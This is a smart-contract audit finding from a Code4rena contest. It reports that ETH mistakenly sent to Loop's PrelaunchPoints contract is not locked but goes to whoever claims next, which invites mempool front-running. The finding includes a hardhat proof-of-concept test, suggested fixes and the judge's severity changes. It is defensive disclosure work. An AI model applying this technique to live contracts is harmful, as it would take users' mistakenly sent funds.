Unexpected Gains at the Expense of Users Who Sent ETH by Mistake

[howlbot-integration]

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L389-L392
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L252-L265

Vulnerability details

Impact

PrelaunchPoints.sol line 256 state: ETH sent to this contract directly will be locked forever. but that is not true:

After convertAllETH phase, when a user claim will get unexpected earnings at expenses of another user that sent by mistake ETH to the contract and also this problem creates a front running competence to monitor mempool and claim just after the transaction that sends ETH to the contract.

Proof of Concept

POC showing the unexpected gain if user send 30 ETH (number really big to make clear the example)

Add NotExpectedGains.test.ts to $project/test/ and run npx hardhat test

import { expect } from "chai"
import hre, { ethers } from "hardhat"
import {
  time,
  impersonateAccount,
  setBalance,
} from "@nomicfoundation/hardhat-toolbox/network-helpers"
import fetch from "node-fetch"
import "dotenv/config"
import {
  IERC20,
  MockLpETH,
  MockLpETHVault,
  PrelaunchPoints,
} from "../typechain"
import { parseEther } from "ethers"

const ZEROX_API_KEY = process.env.ZEROX_API_KEY

const tokens = [
  {
    name: "ezETH",
    address: "0xbf5495Efe5DB9ce00f80364C8B423567e58d2110",
    whale: "0x267ed5f71EE47D3E45Bb1569Aa37889a2d10f91e",
  }
]

describe("Smart Contract Audit", function () {
  const ETH = "0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"
  const exchangeProxy = "0xdef1c0ded9bec7f1a1670819833240f027b25eff"

  const sellAmount = ethers.parseEther("1")
  const referral = ethers.encodeBytes32String("")

  // Contracts
  let lockToken: IERC20
  let prelaunchPoints: PrelaunchPoints
  let lpETH: MockLpETH
  let lpETHVault: MockLpETHVault

  before(async () => {
    const LpETH = await hre.ethers.getContractFactory("MockLpETH")
    lpETH = (await LpETH.deploy()) as unknown as MockLpETH

    const LpETHVault = await hre.ethers.getContractFactory("MockLpETHVault")
    lpETHVault = (await LpETHVault.deploy()) as unknown as MockLpETHVault
  })

  beforeEach(async () => {
    const PrelaunchPoints = await hre.ethers.getContractFactory(
      "PrelaunchPoints"
    )
    prelaunchPoints = (await PrelaunchPoints.deploy(
      exchangeProxy,
      "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2",
      tokens.map((token) => token.address)
    )) as unknown as PrelaunchPoints
  })

  const token = tokens[0];

  it(`User will get unexpected gains at expenses of a user that sent ETH by mistake`, async function () {
    lockToken = (await ethers.getContractAt(
      "IERC20",
      token.address
    )) as unknown as IERC20

    const depositorAddress = token.whale
    await impersonateAccount(depositorAddress)
    const depositor = await ethers.getSigner(depositorAddress)


    const tokenBalanceBefore = await lockToken.balanceOf(depositor)
    console.log(`tokenBalanceBefore ${tokenBalanceBefore}`)

    await lockToken.connect(depositor).approve(prelaunchPoints, sellAmount)
    console.log(`Token address  ${token.address}`)
    await prelaunchPoints
      .connect(depositor)
      .lock(token.address, sellAmount, referral)

    const tokenBalanceAfter = await lockToken.balanceOf(depositor)
    const claimToken = token.name == "WETH" ? ETH : token.address
    const lockedBalance = await prelaunchPoints.balances(
      depositor.address,
      claimToken
    )
    expect(tokenBalanceAfter).to.be.eq(tokenBalanceBefore - sellAmount)
    expect(lockedBalance).to.be.eq(sellAmount)

    // Activate claiming
    await prelaunchPoints.setLoopAddresses(lpETH, lpETHVault)
    const newTime =
      (await prelaunchPoints.loopActivation()) +
      (await prelaunchPoints.TIMELOCK()) +
      1n
    await time.increaseTo(newTime)
    await prelaunchPoints.convertAllETH()

    // Get Quote from 0x API
    const headers = { "0x-api-key": ZEROX_API_KEY }
    const OxUrl =  `https://api.0x.org/swap/v1/quote?buyToken=${ETH}&sellAmount=${sellAmount}&sellToken=${token.address}&includedSources=Uniswap_V3`;
    console.log(`OxUrl   ${OxUrl}`)

    const quoteResponse = await fetch(
      OxUrl,
      { headers }
    )

    // Check for error from 0x API
    if (quoteResponse.status !== 200) {
      const body = await quoteResponse.text()
      throw new Error(body)
    }
    const quote = await quoteResponse.json()

    // console.log(quote)

    const exchange = quote.orders[0] ? quote.orders[0].source : ""
    var exchangeCode = exchange == "Uniswap_V3" ? 0 : 1
    exchangeCode = 1
    //console.log(`DATA: ${quote.data}`);

    //@audit: A User send by error 100 ETH via receive() because s not validated.
    // Number is really big just make clear the example.
    const ethSentByMistake =  parseEther("30");
    await setBalance(prelaunchPoints.target.toString(), ethSentByMistake)

    // Claim
    await prelaunchPoints
      .connect(depositor)
      .claim(claimToken, 
        100
      , exchangeCode, quote.data)

    expect(await prelaunchPoints.balances(depositor, token.address)).to.be.eq(
      0
    )

    const balanceLpETHAfter = await lpETH.balanceOf(depositor)
    console.log("balanceLpETHAfter " + balanceLpETHAfter);
    //@audit: Unpected balance that is much bigger than ((sellAmount * 95n) / 100n)
    expect(balanceLpETHAfter + ethSentByMistake ).to.be.gt(((sellAmount * 95n) / 100n) )
  })
  
})

Tools Used

Manual review and hardhat tests.

Recommended Mitigation Steps

There are many possibilities:

1. Add validations to receive()
2. Don't rely on address(this).balance directly but instead use a diff before and after the swap.

uint256 balanceBeforeSwap = address(this).balance;
_fillQuote(IERC20(_token), userClaim, _data);
claimedAmount = balanceBeforeSwap - address(this).balance;
lpETH.deposit{value: claimedAmount}(_receiver);

Assessed type

ETH-Transfer

[c4-judge]

koolexcrypto marked the issue as primary issue

[c4-judge]

koolexcrypto marked the issue as satisfactory

[c4-judge]

koolexcrypto marked the issue as duplicate of #18

[c4-judge]

koolexcrypto changed the severity to 3 (High Risk)

[c4-judge]

koolexcrypto changed the severity to 2 (Med Risk)

[c4-judge]

koolexcrypto marked the issue as partial-75

[c4-judge]

koolexcrypto changed the severity to 3 (High Risk)

[c4-judge]

koolexcrypto marked the issue as duplicate of #33

[c4-judge]

koolexcrypto marked the issue as partial-25